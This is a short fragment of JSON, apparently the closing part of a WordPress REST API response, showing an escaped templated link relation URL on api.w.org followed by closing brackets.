\/api.w.org\/{rel}","templated":true}]}}